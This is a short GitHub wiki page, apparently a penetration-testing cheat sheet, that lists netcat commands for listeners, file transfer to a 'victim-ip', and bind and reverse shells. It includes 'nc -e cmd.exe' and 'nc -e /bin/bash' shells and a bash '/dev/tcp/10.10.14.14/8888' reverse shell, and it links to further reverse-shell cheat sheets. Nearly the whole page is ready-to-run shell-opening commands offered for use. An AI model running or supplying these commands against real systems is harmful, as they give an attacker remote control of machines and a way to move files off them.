-
Notifications
You must be signed in to change notification settings - Fork 14
lethanhtung01011980 edited this page Apr 21, 2020
·
8 revisions
- Listen:
nc -nlvp 4444
- Connect:
nc -nv victim-ip 4444
- Listen to receive files:
nc -nlvp 4444 > wget.exe
- Connect to send file:
nc -nv victim-ip 4444 < wget.exe
B connects to control A
- A: Listen:
nc -nlvp 4444 -e cmd.exe
- B: Connect and control:
nc -nv A-ip 4444
B connects to being controlled by A.
- A: Listen:
nc -nlvp 4444
- B: Connect and being controlled:
nc -nv A-ip 4444 -e /bin/bash
- B (bash): Connect and being controlled:
bash -i >& /dev/tcp/10.10.14.14/8888 0>&1
- B (more language) http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/